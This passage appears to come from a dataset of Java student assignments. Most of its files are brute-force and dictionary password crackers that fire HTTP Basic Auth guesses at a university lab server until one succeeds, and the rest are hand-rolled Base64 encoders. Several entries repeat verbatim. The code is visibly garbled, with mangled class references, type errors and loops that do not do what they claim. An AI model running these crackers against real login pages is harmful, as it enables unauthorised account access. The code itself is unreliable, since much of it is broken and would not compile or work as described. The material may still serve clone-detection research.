System.out.println(e); } System.out.println("" not find the password""); } public Dictionary (String password,String username) { String urlString = ""http://sec-crack.cs.rmit.edu./SEC/2/"" ; try { String userPassword = username+"":""+password ; String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes()); URL url = new URL (urlString); HttpURLConnection uc = (HttpURLConnection) url.openConnection(); uc.setRequestProperty (""Authorization"", "" "" + encoding); url = uc.getResponseCode(); } catch(MalformedURLException e){ System.out.println(e); }catch(IOException e){ System.out.println(e); } } }" 250.java," class C { private static byte[] cvtTable = { (byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E', (byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J', (byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O', (byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T', (byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y', (byte)'Z', (byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e', (byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j', (byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o', (byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t', (byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y', (byte)'z', (byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4', (byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9', (byte)'+', (byte)'/' }; static String encode(String name, String passwd) { byte input[] = (name + "":"" + passwd).getBytes(); byte[] output = new byte[((input.length / 3) + 1) * 4]; int ridx = 0; int chunk = 0; for (int i = 0; i < input.length; i += 3) { int left = input.length - i; if (left > 2) { chunk = (input[i] << 16)| (input[i + 1] << 8) | input[i + 2]; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = cvtTable[(chunk&0x3F)]; } else if (left == 2) { chunk = (input[i] << 16) | (input[i + 1] << 8); output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = '='; } else { chunk = input[i] << 16; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = '='; output[ridx++] = '='; } } return new String(output); } }",059.java," public class Base64Converter { public static final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode ( String s ) { return encode ( s.getBytes ( ) ); } public static String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } " 250.java," class C { private static byte[] cvtTable = { (byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E', (byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J', (byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O', (byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T', (byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y', (byte)'Z', (byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e', (byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j', (byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o', (byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t', (byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y', (byte)'z', (byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4', (byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9', (byte)'+', (byte)'/' }; static String encode(String name, String passwd) { byte input[] = (name + "":"" + passwd).getBytes(); byte[] output = new byte[((input.length / 3) + 1) * 4]; int ridx = 0; int chunk = 0; for (int i = 0; i < input.length; i += 3) { int left = input.length - i; if (left > 2) { chunk = (input[i] << 16)| (input[i + 1] << 8) | input[i + 2]; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = cvtTable[(chunk&0x3F)]; } else if (left == 2) { chunk = (input[i] << 16) | (input[i + 1] << 8); output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = '='; } else { chunk = input[i] << 16; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = '='; output[ridx++] = '='; } } return new String(output); } }",159.java," class BasicAuth { public BasicAuth() {} private static byte[] cvtTable = { (byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E', (byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J', (byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O', (byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T', (byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y', (byte)'Z', (byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e', (byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j', (byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o', (byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t', (byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y', (byte)'z', (byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4', (byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9', (byte)'+', (byte)'/' }; static String encode(String name, String passwd) { byte input[] = (name + "":"" + passwd).getBytes(); byte[] output = new byte[((input.length / 3) + 1) * 4]; int ridx = 0; int chunk = 0; for (int i = 0; i < input.length; i += 3) { int left = input.length - i; if (left > 2) { chunk = (input[i] << 16)| (input[i + 1] << 8) | input[i + 2]; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = cvtTable[(chunk&0x3F)]; } else if (left == 2) { chunk = (input[i] << 16) | (input[i + 1] << 8); output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = '='; } else { chunk = input[i] << 16; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = '='; output[ridx++] = '='; } } return new String(output); } }" 175.java,"import java.io.*; import java.net.*; import java.util.*; public class BruteForce { public static void main(String args[]) { Calendar cal = Calendar.getInstance(); Date now=cal.getTime(); double startTime = now.getTime(); String password=getPassword(startTime); System.out.println(""The password is "" + password); } public static String getPassword(double startTime) { char first, second, third; String password=""""; int requests=0; for (int i=65; i<123; i++) { requests++; first = (char) i; password = first + """"; if (testPassword(password, startTime, requests)) return password; for (int j=65; j<123; j++) { requests++; second = (char) j; password = first + """" + second; if (testPassword(password, startTime, requests)) return password; for (int k=65; k<123; k++) { requests++; third = (char) k; password = first + """" + second + """" + third; if (testPassword(password, startTime, requests)) return password; if (k==90) k=96; } if (j==90) j=96; } if (i==90) i=96; } return password; } private static boolean testPassword(String password, double startTime, int requests) { try { URL url=new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); HttpURLConnection connection; String userPassword = "":"" + password; String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); try { connection = (HttpURLConnection) url.openConnection(); connection.setRequestProperty(""Authorization"", "" "" + encoding); int status=connection.getResponseCode(); System.out.println(password + requests); if (status==200) { System.out.println(""It took "" + getTime(startTime) + "" milliseconds find the password.""); System.out.println("" were "" + requests + "" requests .""); return true; } return false; } catch (IOException ioe) { System.out.print(ioe); return false; } } catch (IOException MalformedURLException) { System.out.print(""Invalid URL""); return false; } } private static double getTime(double startTime) { Calendar cal = Calendar.getInstance(); Date now=cal.getTime(); double endTime = now.getTime(); return endTime-startTime; } } ",180.java,"import java.io.*; import java.net.*; import java.util.*; public class Dictionary { public static void main (String args[]) { Calendar cal = Calendar.getInstance(); Date now=cal.getTime(); double startTime = now.getTime(); String password=getPassword(startTime); System.out.println(""The password is "" + password); } public static String getPassword(double startTime) { String password=""""; int requests=0; try { FileReader fRead = new FileReader(""/usr/share/lib/dict/words""); BufferedReader buf = new BufferedReader(fRead); password=buf.readLine(); while (password != null) { if (password.length()<=3) { requests++; if (testPassword(password, startTime, requests)) return password; } password = buf.readLine(); } } catch (IOException ioe) { } return password; } private static boolean testPassword(String password, double startTime, int requests) { try { URL url=new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); HttpURLConnection connection; String userPassword = "":"" + password; String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); try { connection = (HttpURLConnection) url.openConnection(); connection.setRequestProperty(""Authorization"", "" "" + encoding); int status=connection.getResponseCode(); System.out.println(password + requests); if (status==200) { System.out.println(""It took "" + getTime(startTime) + "" milliseconds find the password.""); System.out.println("" were "" + requests + "" requests .""); return true; } return false; } catch (IOException ioe) { System.out.print(ioe); return false; } } catch (IOException MalformedURLException) { System.out.print(""Invalid URL""); return false; } } private static double getTime(double startTime) { Calendar cal = Calendar.getInstance(); Date now=cal.getTime(); double endTime = now.getTime(); return endTime-startTime; } } " 243.java,"import java.net.*; import java.io.*; public class Dictionary { int attempts = 0; URLConnection conn = null; public static void main (String args[]){ Dictionary a = new Dictionary(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""""); String url = new String(""http://sec-crack.cs.rmit.edu./SEC/2/index.php""); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println(""Password Cracked Successfully!!!""); System.out.println(""The passsword is :"" + passwd + ""and got after "" +attempts + "" tries""); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println(""Message :"" +r); Dictionary a = new Dictionary(); a.attack(args); } else { System.out.println(""Trying again""); Dictionary a = new Dictionary(); a.attack(args); } } } public String getPasswd() { int i=0;int j=0; attempts++; int count =0; System.out.println(""Passing dictionary word and waiting for URL reply....... ""); String currentword = """"; String se = """"; try{ FileInputStream reader = new FileInputStream (""words""); DataInputStream in = new DataInputStream(reader); while (in.available() !=0) { currentword = in.readLine(); count++; } } catch( IOException e){} return currentword; } public InputStream openURLForInput (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setDoInput (true); conn.setRequestProperty (""Authorization"", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return "" "" + base64Encode (username + "":"" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } ",242.java,"import java.net.*; import java.io.*; public class Bruteforce { int attempts = 0; int l = 65;int m = 65;int n = 65; URLConnection conn = null; public static void main(String args[]){ Bruteforce a = new Bruteforce(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""""); String url = new String(""http://sec-crack.cs.rmit.edu./SEC/2/index.php""); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println(""Password Cracked Successfully!!!""); System.out.println(""The passsword is :"" + passwd + ""and got after "" + attempts + "" tries""); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println(""Message :"" +r); System.out.println(""Trying again with new password""); Bruteforce a = new Bruteforce(); a.attack(args); } else { System.out.println(""Trying again with new password""); Bruteforce a = new Bruteforce(); a.attack(args); } } } public String getPasswd() { attempts++; char i1 = 0; char j1 = 0; char k1 = 0; int i= l; int j= m; int k= n; String c = new String(); String c1 = new String(); String c2 = new String(); String c3 = new String(); String c4 = new String(); boolean flag; for (i=l;i<123;i++) for (j=m;j<123;j++) for (k=n;k<123;k++) { if( flag = true ) { i1 = (char)i; j1 = (char)j; k1 = (char)k; if (i==91) i=97; if (j==91) j=97; if (k==91) k=97; c = i1+""""; c1 = j1+""""; c2 = k1+""""; c3 = c.concat(c1); c4 = c3.concat(c2); }else break; } flag = false; return c4; } public InputStream openURLForInput (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setDoInput (true); conn.setRequestProperty (""Authorization"", PasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String PasswordBase64(String username, String password) { return "" "" + base64Encode (username + "":"" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } " 243.java,"import java.net.*; import java.io.*; public class Dictionary { int attempts = 0; URLConnection conn = null; public static void main (String args[]){ Dictionary a = new Dictionary(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""""); String url = new String(""http://sec-crack.cs.rmit.edu./SEC/2/index.php""); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println(""Password Cracked Successfully!!!""); System.out.println(""The passsword is :"" + passwd + ""and got after "" +attempts + "" tries""); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println(""Message :"" +r); Dictionary a = new Dictionary(); a.attack(args); } else { System.out.println(""Trying again""); Dictionary a = new Dictionary(); a.attack(args); } } } public String getPasswd() { int i=0;int j=0; attempts++; int count =0; System.out.println(""Passing dictionary word and waiting for URL reply....... ""); String currentword = """"; String se = """"; try{ FileInputStream reader = new FileInputStream (""words""); DataInputStream in = new DataInputStream(reader); while (in.available() !=0) { currentword = in.readLine(); count++; } } catch( IOException e){} return currentword; } public InputStream openURLForInput (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setDoInput (true); conn.setRequestProperty (""Authorization"", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return "" "" + base64Encode (username + "":"" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } ",155.java,"import java.io.*; import java.net.*; public class Dictionary{ public static void main( String[] args ){ Dictionary dict= new Dictionary(); dict.create(); } public void dsf(){ String password; String auth_data; String username=""""; String server_res_code; String required_server_res_code=""200""; int cntr=0; try{ URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); URLConnection conn=null; String fileName = ""/usr/share/lib/dict/words""; fileName=fileName.trim(); FileReader fr = new FileReader(fileName); BufferedReader inputfile = new BufferedReader(fr); while( (password=inputfile.readLine()) != null ){ password = password.trim(); auth_data=null; auth_data=username + "":"" + password; auth_data=auth_data.trim(); auth_data=getBasicAuthData(auth_data); auth_data=auth_data.trim(); conn=url.openConnection(); conn.setDoInput (true); conn.setDoOutput(true); conn.setRequestProperty(""GET"", ""/SEC/2/ HTTP/1.1""); conn.setRequestProperty (""Authorization"", auth_data); server_res_code=conn.getHeaderField(0); server_res_code=server_res_code.substring(9,12); server_res_code.trim(); cntr++; if( server_res_code.compareTo(required_server_res_code)!=0) System.out.println(cntr + "" . "" + ""PASSWORD SEND : "" + password + "" SERVER RESPONSE : "" + server_res_code); else { System.out.println(cntr + "" . "" + ""PASSWORD IS: "" + password + "" SERVER RESPONSE : "" + server_res_code); break;} } } catch( Exception e){ System.err.println(e); } } public String getBasicAuthData (String getauthdata) { char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' } ; String encodedString = """"; byte bytes [] = getauthdata.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return "" "" + encodedString; } }" 243.java,"import java.net.*; import java.io.*; public class Dictionary { int attempts = 0; URLConnection conn = null; public static void main (String args[]){ Dictionary a = new Dictionary(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""""); String url = new String(""http://sec-crack.cs.rmit.edu./SEC/2/index.php""); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println(""Password Cracked Successfully!!!""); System.out.println(""The passsword is :"" + passwd + ""and got after "" +attempts + "" tries""); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println(""Message :"" +r); Dictionary a = new Dictionary(); a.attack(args); } else { System.out.println(""Trying again""); Dictionary a = new Dictionary(); a.attack(args); } } } public String getPasswd() { int i=0;int j=0; attempts++; int count =0; System.out.println(""Passing dictionary word and waiting for URL reply....... ""); String currentword = """"; String se = """"; try{ FileInputStream reader = new FileInputStream (""words""); DataInputStream in = new DataInputStream(reader); while (in.available() !=0) { currentword = in.readLine(); count++; } } catch( IOException e){} return currentword; } public InputStream openURLForInput (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setDoInput (true); conn.setRequestProperty (""Authorization"", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return "" "" + base64Encode (username + "":"" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } ",087.java,"import java.net.*; import java.io.*; import java.*; public class Dictionary { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ Dictionary a = new Dictionary(); String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"", """", """"}; File file = new File(""words""); exit: try { BufferedReader in = new BufferedReader(new FileReader(file)); int attempt = 0; inp[2] = in.readLine(); while (inp[2] != null) { if (inp[2].length() <= 3) { attempt++; a.doit(inp); if (status) { System.out.println(""Crrect password is: "" + inp[2]); System.out.println(""Number of attempts = "" + attempt); break exit; } } inp[2] = in.readLine(); } } catch (FileNotFoundException e1) { System.err.println(""File not found: "" + file); } catch (IOException e2) { e2.printStackTrace(); } } public void doit(String args[]) { try { BufferedReader in = new BufferedReader( new InputStreamReader (connectURL(new URL(args[0]), args[1], args[2]))); String line; while ((line = in.readLine()) != null) { System.out.println(line); status = true; } } catch (IOException e) { } } public InputStream connectURL (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setRequestProperty (""Authorization"", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return "" "" + base64Encode (username + "":"" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } " 243.java,"import java.net.*; import java.io.*; public class Dictionary { int attempts = 0; URLConnection conn = null; public static void main (String args[]){ Dictionary a = new Dictionary(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""""); String url = new String(""http://sec-crack.cs.rmit.edu./SEC/2/index.php""); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println(""Password Cracked Successfully!!!""); System.out.println(""The passsword is :"" + passwd + ""and got after "" +attempts + "" tries""); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println(""Message :"" +r); Dictionary a = new Dictionary(); a.attack(args); } else { System.out.println(""Trying again""); Dictionary a = new Dictionary(); a.attack(args); } } } public String getPasswd() { int i=0;int j=0; attempts++; int count =0; System.out.println(""Passing dictionary word and waiting for URL reply....... ""); String currentword = """"; String se = """"; try{ FileInputStream reader = new FileInputStream (""words""); DataInputStream in = new DataInputStream(reader); while (in.available() !=0) { currentword = in.readLine(); count++; } } catch( IOException e){} return currentword; } public InputStream openURLForInput (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setDoInput (true); conn.setRequestProperty (""Authorization"", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return "" "" + base64Encode (username + "":"" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', 